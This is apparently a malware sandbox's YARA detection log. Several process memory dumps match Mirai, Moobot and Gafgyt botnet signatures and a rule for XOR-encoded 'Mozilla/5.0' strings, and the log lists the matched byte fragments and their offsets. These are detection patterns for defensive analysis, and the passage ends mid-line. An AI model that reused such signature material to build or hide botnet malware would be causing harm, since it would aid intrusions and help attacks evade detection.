6921.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6921.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6921.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6921.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6921.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6921.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7059.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7002.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7002.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7002.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7002.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7002.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7002.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7300.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6976.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6347.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6336.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6336.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6336.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6336.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6336.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6336.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7295.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7295.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7295.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7295.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7295.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7295.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6401.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6401.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6401.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6401.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6673.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6401.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6401.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6673.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6673.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6673.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6673.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 